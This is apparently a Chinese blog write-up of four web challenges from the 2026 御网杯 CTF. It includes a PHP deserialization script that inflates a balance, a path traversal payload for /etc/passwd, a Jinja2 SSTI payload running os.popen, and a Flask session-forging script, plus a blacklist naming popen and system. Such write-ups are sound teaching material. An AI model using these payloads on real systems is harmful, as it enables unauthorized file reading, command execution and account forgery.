2026御网杯-web-ak

1501 字
8 分钟
2026御网杯-web-ak

老实说这次的比赛 web 方向都不是很难

打都打了还是发个 wp 吧

WEB-Snake_Game#

这里打开题目,很明显抓包改数据即可

WEB-PHP_Payment#

打开题目,是一个购买 flag 系统,这里我们在上方可以得到一个代金卷

但是一开始具体怎么输入去得到正确的回显还是不知道:

这里重点分析 apply_coupon.php

<?php
session_start();
include '../config.php';
include '../models.php';
header('Content-Type: application/json');
if (!isset($_SESSION['user_id'])) {
    die(json_encode(["error" => "Authentication required"]));
}
$couponData = $_POST['coupon'] ?? '';
if ($couponData === '') {
    die(json_encode(["error" => "Empty coupon code"]));
}
$decoded = base64_decode($couponData);
if ($decoded === false) {
    die(json_encode(["error" => "Invalid coupon format. Must be base64."]));
}
try {
    $promo = @unserialize($decoded);
    if ($promo === false) {
        die(json_encode(["error" => "Failed to apply coupon."]));
    }
} catch (Exception $e) {
    die(json_encode(["error" => "Coupon parsing error."]));
}
echo json_encode(["success" => true, "message" => "Coupon processed."]);
?>

这里后端会先将我们的输入进行 base64 解码,随后再对我们的输入进行反序列化;若都成功,则回显 Coupon processed.

这里我们再看 models.php

<?php
class PromoManager {
    public $promo_credit;
    public $promo_code;
    public function __construct($code, $credit) {
        $this->promo_code = $code;
        $this->promo_credit = $credit;
    }
    function __destruct() {
        if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
            $_SESSION['balance'] += intval($this->promo_credit);
        }
    }
}
?>

这里当反序列化的对象被摧毁后会执行将我们输入的 promo_credit 添加到 $_SESSION['balance']

这里我们再看 buy.php

<?php
session_start();
include 'config.php';
header('Content-Type: application/json');
if (!isset($_SESSION['user_id'])) {
    die(json_encode(["error" => "Authentication required"]));
}
$item = $_POST['item'] ?? '';
if ($item === '') {
    die(json_encode(["error" => "Missing item parameter"]));
}
$items = [
    'basic_vip' => 10,
    'premium_vip' => 50,
    'flag' => 99999
];
if (!array_key_exists($item, $items)) {
    die(json_encode(["error" => "Invalid item."]));
}
$price = $items[$item];
if ($_SESSION['balance'] < $price) {
    die(json_encode(["error" => "Insufficient funds! You only have " . intval($_SESSION['balance']) . " 金币."]));
}
$_SESSION['balance'] -= $price;
if ($item === 'flag') {
    $flag = "flag{da91f6ee9d5cceef4705fd4f8af9e3f3}";
    if (file_exists('/var/www/flag.php')) {
        include '/var/www/flag.php';
        if (isset($FLAG)) $flag = $FLAG;
    }
    echo json_encode(["success" => true, "message" => "购买 successful! Your Flag is [ " . $flag . " ]", "balance" => $_SESSION['balance']]);
} else {
    echo json_encode(["success" => true, "message" => "购买 successful! Enjoy your " . htmlspecialchars($item) . ".", "balance" => $_SESSION['balance']]);
}
?>

(这里的 flag 是测试时候用的,真正的还在环境变量里面)

这里很明显,后端是使用我们的 $_SESSION['balance'] 去当作钱进行购买 flag 的一个操作

于是,整条攻击链就都出来了

我们先构造一个 base64 编码过后的的序列化对象传入,后端先进行 base64 解码随后再进行反序列化操作,随后 __destruct() 执行随后将我们的代金卷添加到 $_SESSION['balance'] 上,接下来我们就可以进行购买了

最终脚本:

<?php
include 'models.php';
$obj = new PromoManager("a", 99999);
$serialized = serialize($obj);
$b64 = base64_encode($serialized);
echo "Serialized: " . $serialized . "\n";
echo "Base64: " . $b64 . "\n";
?>

WEB-Enterprise-OA#

这里题目直接就提示了路径遍历

这里第一次直接尝试双写绕过就成功读取到了

....//....//....//....//....//....///etc/passwd

随后 fuzz 一下得到名字叫 flag.txt

WEB-TaxSystem_SSTI#

这里题目给了附件,打开后发现在 init.db 中就能发现账号密码还有个 flag 数据库:

cur.execute('INSERT INTO users (username, password, role) VALUES ("admin", "123456", "admin")')
cur.execute('INSERT INTO config_flags (flag) VALUES ("flag{xxxxxxxxxxxxxxxx}")')

我们在 app.py 中可以发现直接使用了模板渲染:

if state == 'AUDIT_PENDING':
        custom_footer = profile['custom_footer']
        blacklist = ['__', '[', ']', '|', '\\', '+', "'", '"', 'request', 'session', 'url_for', 'popen', 'system']
        for word in blacklist:
            if word in custom_footer:
                return "Security Policy Violation: Blocked character or word detected in footer.", 403
        template_html = f"""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>Audit Report</title>
            <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
            <style>
                body {{ background-color: #f3f4f6; }}
            </style>
        </head>
        <body class="p-10">
            <div class="max-w-4xl mx-auto bg-white p-8 border-t-8 border-red-600 shadow-xl rounded">
                <div class="flex justify-between items-center mb-6 border-b pb-4">
                    <h1 class="text-3xl font-bold text-gray-800">OFFICIAL AUDIT REP或T</h1>
                    <span class="px-4 py-1 bg-red-100 text-red-800 rounded-full font-semibold">CONFIDENTIAL</span>
                </div>
                <div class="grid grid-cols-2 gap-6 mb-8 text-lg">
                    <div><span class="font-bold text-gray-600">Tax Year:</span> {profile['year']}</div>
                    <div><span class="font-bold text-gray-600">状态: </span> <span class="text-red-600 font-bold">AUDIT PENDING</span></div>
                    <div><span class="font-bold text-gray-600">Declared Income:</span> ${profile['income']}</div>
                    <div><span class="font-bold text-gray-600">Deductions:</span> ${profile['deductions']}</div>
                </div>
                <div class="mt-12 pt-6 border-t border-gray-200 text-sm text-gray-500 italic text-center">
                    {custom_footer}
                </div>
            </div>
            <div class="mt-8 text-center"><a href="/dashboard" class="px-6 py-2 bg-gray-800 text-white rounded hover:bg-gray-700 transition">返回控制台</a></div>
        </body>
        </html>
        """
        try:
            return render_template_string(template_html)
        except Exception as e:
            return str(e), 500

这里对我们用户输入进行了一部分的黑名单过滤(但是基本没什么作用),这里的 year 会被直接拼接到 render_template_string 函数中进行渲染

有 flag 存储位置,于是我们直接 ssti 注入即可:

year={{config.__class__.__init__.__globals__['os'].popen('sqlite3 /var/lib/sqlite/tax.db "SELECT flag FROM config_flags"').read()}}

这里猜测有第二种做法:

app.py 中:

@app.route('/admin/vault')
def admin_vault():
    if session.get('role') != 'tax_inspector':
        return render_template_string("""
        <div style="text-align:center; margin-top:100px; font-family:sans-serif;">
            <h1 style="color:red;">Unauthorized Access</h1>
            <p>You must be a <b>tax_inspector</b> to access this vault.</p>
            <a href="/dashboard">Back</a>
        </div>
        """), 403
    db = get_db()
    flag = db.execute("SELECT flag FROM config_flags LIMIT 1").fetchone()
    return render_template('admin.html', flag=flag['flag'] if flag else "No flag found")

若是我们有 tax_inspector 的权限,便可通关这个端点进行访问去拿到 flag

这里我们通过 {{config}} 能拿到 SECRET_KEY

随后我们运行脚本伪造 session:

from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret_tax_key_2026_xoxo'
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
forged_session = serializer.dumps({"role": "tax_inspector", "user_id": 1})

随后替换 session 去访问 /admim/vault 即可拿到 flag

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

2026御网杯-web-ak
https://www.0n1y.org/posts/2026御网杯/
作者
0n1y
发布于
2026-05-30
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
0n1y
炼就坚持仙蛊
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
11
分类
3
标签
3
总字数
22,312
运行时长
0
最后活动
0 天前

目录